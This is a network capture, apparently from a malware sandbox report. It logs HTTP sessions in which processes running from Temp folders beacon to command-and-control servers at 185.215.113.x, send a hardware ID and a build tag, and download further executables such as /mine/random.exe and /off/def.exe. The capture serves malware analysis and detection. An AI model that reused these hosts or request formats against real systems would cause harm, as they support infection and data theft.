Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50049	34.107.221.82	80	5012	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:47.549196005 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 18:09:48.346613884 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 86249 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 18:09:48.389369011 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 86249 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 18:09:58.357471943 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50051	185.215.113.37	80	2996	C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:48.628829956 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 18:09:49.531831980 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:49 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 18:09:49.578160048 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 35 35 43 37 39 45 34 46 33 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 2d 2d 0d 0a Data Ascii: ------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="hwid"A55C79E4F37B1953448019------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="build"doma------HIDHDGDHJEGHIDGDHCGC--
Oct 24, 2024 18:09:49.862783909 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:49 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50053	185.215.113.16	80	4020	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:48.949259996 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 18:09:49.862561941 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:49 GMT Content-Type: application/octet-stream Content-Length: 1870848 Last-Modified: Thu, 24 Oct 2024 16:06:11 GMT Connection: keep-alive ETag: "671a7073-1c8c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 70 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfpJ@J1@WkQJxQJ @.rsrc@.idata @ 0*@wehliqok0r@xquxcvvg`Jf@.taggant0pJ"j@
Oct 24, 2024 18:09:49.862581015 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 18:09:49.862596989 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 18:09:49.862669945 CEST	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 18:09:49.862684965 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 18:09:49.862699986 CEST	1236	IN	Data Raw: 6b 23 e5 1b 00 67 49 2e 30 e8 06 3b a9 03 a1 2d 4b 97 8d 2d fc e1 d6 1a a9 63 cd 9e 1d 37 e1 73 74 d4 fc 40 a9 a2 2c 1d a8 90 d7 7e 2e f3 06 08 aa 87 f2 33 67 d3 06 7c b9 06 2b 20 fa 15 4c 4d ec df e8 ba ba 83 d6 3e a3 0f 65 4c b8 d7 08 3e 27 37 Data Ascii: k#gI.0;-K-c7st@,~.3g\|+ LM>eL>'7;vK`tC4(TXSB7p@![x8s\|67F04xg;r hG$5w.WlLX s0';y`8P"IN(zW<7h3foD
Oct 24, 2024 18:09:49.862720966 CEST	424	IN	Data Raw: e5 bb 24 5e a8 03 2f 5d 18 9f df b8 13 e0 7d 56 a6 13 37 18 a4 54 d9 2b 84 e6 d3 d0 21 f8 c0 f8 ed 0e b9 9c cb 2f b6 ff 73 7b 13 10 5e ab bd cc 62 c2 1b cc 5f b9 01 a0 9d a3 02 5c fe 72 9b d4 4b e9 d9 f1 40 00 c1 2b 0e bc 8a 3f 65 11 c9 ae 44 cb Data Ascii: $^/]}V7T+!/s{^b_\rK@+?eD{$[N0Xhi,4R0OU\|HI\h=yru[80b{eWNYGe 9mNVCb.V3G/r`t\h-2<T/
Oct 24, 2024 18:09:49.862737894 CEST	1236	IN	Data Raw: 17 f2 d3 7b 86 b9 54 3a ac 63 c6 69 58 4b 47 3e 58 a6 68 1e e2 d3 04 de 88 d9 37 6f ca ee 06 68 a6 f6 1a c9 b7 3f 9f 13 f7 cd f1 29 0d cd 17 97 74 8a 8f 3f 03 c7 fe 83 03 c2 4d 78 bc c6 f6 8e e8 cf 28 5f dc 0b 50 7e e8 d2 1b a5 24 73 50 05 22 30 Data Ascii: {T:ciXKG>Xh7oh?)t?Mx(_P~$sP"0:{{!^rQk(kKtS7Y6%]qJR{N*PeICq.Cm.t]st696BNe{:yNy]{<1X0n&2F`
Oct 24, 2024 18:09:49.862754107 CEST	1236	IN	Data Raw: 94 b2 8c 0f 1c 8e c3 78 24 d2 ac 3c cd 3a 6c fc 25 12 66 dc 66 f8 61 12 80 64 d0 e6 14 15 43 13 e7 82 c9 3b 51 b6 51 6b 9b c9 ff c2 f2 51 c5 8e 96 b5 39 52 25 d7 3b 40 9c bd b7 a2 ed 13 3a 76 5e fa 40 70 49 d2 d4 0d 34 de 31 16 0d 0b a9 26 a4 e0 Data Ascii: x$<:l%ffadC;QQkQ9R%;@:v^@pI41&MvwPPR3e%f=,E=f{^L06u 8.2O39]nYT\|6=<^ZQjW Ka/P} QT-
Oct 24, 2024 18:09:49.862771034 CEST	1236	IN	Data Raw: 97 d5 de 52 a5 eb 40 bf a3 40 23 5c e3 f4 8d 20 eb d8 26 2c 1c 36 45 99 db 11 ed 4f 4b 58 51 3f 5f a5 1d ba d4 9b 21 f0 9c e9 2a 76 21 e5 d3 c6 b1 2e 21 1e f8 43 01 70 1b 36 90 0b bd f6 e3 15 bf 43 0e 81 ae 67 0d 51 a8 d5 d3 13 71 e4 2d 04 72 d4 Data Ascii: R@@#\ &,6EOKXQ?_!*v!.!Cp6CgQq-rJF`kN{FL<q$##VX1z?]ZrY~+O3LYbBAYUG(`I-3U#b8]'OBscUvp_ompD
Oct 24, 2024 18:09:49.868168116 CEST	1236	IN	Data Raw: 67 a4 13 43 b8 3b 14 e3 38 81 c6 b5 2e 38 f7 2b 7a 3f 4d 30 5c db f5 59 a8 e0 c9 d6 d2 27 9d 30 b7 9d 9c 4f e6 bf 12 e4 c2 54 1f 73 ad 7a 3b b5 7f b9 b6 7d 9d bb 43 34 80 91 c9 73 1c 39 db 16 40 47 1d cc dc cf 4f 55 92 02 db e0 12 69 89 5c e8 3c Data Ascii: gC;8.8+z?M0\Y'0OTsz;}C4s9@GOUi\<J#<c[4c.8)Lk xWQCW\?tzE<>R]MCL%B]i>#sThVT4%hfm9/#=
Oct 24, 2024 18:09:56.509335995 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 18:09:56.789685011 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:56 GMT Content-Type: application/octet-stream Content-Length: 1821696 Last-Modified: Thu, 24 Oct 2024 16:06:04 GMT Connection: keep-alive ETag: "671a706c-1bcc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 d0 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 69 00 00 04 00 00 a1 56 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$h@iV@P%d% %(@.rsrc %8@.idata %8@ p)%:@letztgfzpPOj<@rrfcshyah@.taggant0h"@
Oct 24, 2024 18:09:58.793102026 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 18:09:59.076514006 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:58 GMT Content-Type: application/octet-stream Content-Length: 2863616 Last-Modified: Thu, 24 Oct 2024 15:30:40 GMT Connection: keep-alive ETag: "671a6820-2bb200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2c 00 00 04 00 00 34 12 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ , `@ `,4,`Ui` @ @.rsrc`2@.idata 8@pnhiajhq`+R+:@lwmvjhen ,+@.taggant@ ,"+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50054	185.215.113.43	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:49.867650986 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 18:09:50.772640944 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50055	185.215.113.43	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:52.423816919 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 18:09:53.388473034 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50057	185.215.113.43	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:54.911207914 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 18:09:55.838337898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50059	185.215.113.43	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:57.478226900 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 18:09:58.398003101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50061	185.215.113.16	80	6764	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:59.512768030 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 18:10:00.420331001 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:10:00 GMT Content-Type: application/octet-stream Content-Length: 1870848 Last-Modified: Thu, 24 Oct 2024 16:06:11 GMT Connection: keep-alive ETag: "671a7073-1c8c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 70 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfpJ@J1@WkQJxQJ @.rsrc@.idata @ 0*@wehliqok0r@xquxcvvg`Jf@.taggant0pJ"j@
Oct 24, 2024 18:10:00.420382977 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 18:10:00.420459032 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 18:10:00.420490980 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 18:10:00.420525074 CEST	448	IN	Data Raw: 07 f8 54 10 b8 a6 85 da 58 d9 68 0c fc dd e6 76 a9 85 cd cb 31 33 94 7e ca 53 f0 30 c7 b7 e4 5b 6b fb 77 85 68 bb 60 50 c4 c2 48 4e 48 d4 57 74 18 c3 a4 90 14 e1 13 fb 69 c4 d4 df c1 26 e5 7a 48 37 39 3f e0 82 09 7c ba 06 e3 4d 88 c4 1c 42 b9 62 Data Ascii: TXhv13~S0[kwh`PHNHWti&zH79?\|MBb =@'7;ms3 Z,k,:KS<H7`(7.P#^IHsPh)7SU<4(7V5hg>TJ0,
Oct 24, 2024 18:10:00.420559883 CEST	1236	IN	Data Raw: a8 86 81 ee f0 c3 70 40 21 e2 cc 5b dc 92 78 91 38 73 15 7c b8 df 08 36 a7 37 07 bc b9 46 30 34 78 d3 cc 67 c5 3b b4 72 20 c3 a4 9c 0b 68 47 8c 24 35 e5 77 c7 d7 93 2e 08 c4 17 57 f8 d4 6c 14 4c df 58 bb b8 d4 94 20 cb 73 bc c4 da 8f f3 30 27 b7 Data Ascii: p@![x8s\|67F04xg;r hG$5w.WlLX s0';y`8P"IN(zW<7h3foDAFJ#;T4-tPbINh}+eX3.(6S@7JX,_,(fy(DN
Oct 24, 2024 18:10:00.420602083 CEST	1236	IN	Data Raw: f6 e3 52 99 d9 98 8c 0d de 0f ad af d1 0a 1e ca 30 b5 4f 55 ab b7 7c 48 49 f4 07 c4 a7 5c 86 cf f1 13 68 c7 2a 3d ad 79 ea 72 75 02 5b b4 38 17 30 81 15 62 7b 65 b8 57 fb f8 4e f5 59 09 47 db 65 b9 14 9f 20 8f 39 12 bb 1a 6d 4e be 94 56 e8 43 c3 Data Ascii: R0OU\|HI\h=yru[80b{eWNYGe 9mNVCb.V3G/r`t\h-2<T/*o;zIp)B8QYSKm#,>D8/]06C"A8D3
Oct 24, 2024 18:10:00.420635939 CEST	1236	IN	Data Raw: fb b7 5f 86 fe f2 22 ec a4 f3 a3 f0 1b 7d 15 95 4a c4 16 20 a0 4c 0c 9d f9 fc 14 80 be 24 cc 98 0b 54 e5 3f 9c f1 01 ab f0 2a 43 52 3a 2c ef 2f 21 12 57 e8 14 b8 15 7b da f9 ab 8d bc 3e 91 2f a1 0d bb 1b c9 e0 69 17 d0 33 90 8f 21 f7 84 7c 09 b7 Data Ascii: _"}J L$T?*CR:,/!W{>/i3!\|'Z>jciCT!f&8]"m:qW:+']gyp 7=\RSA~Hg7?d/xal@FDby<(:x5
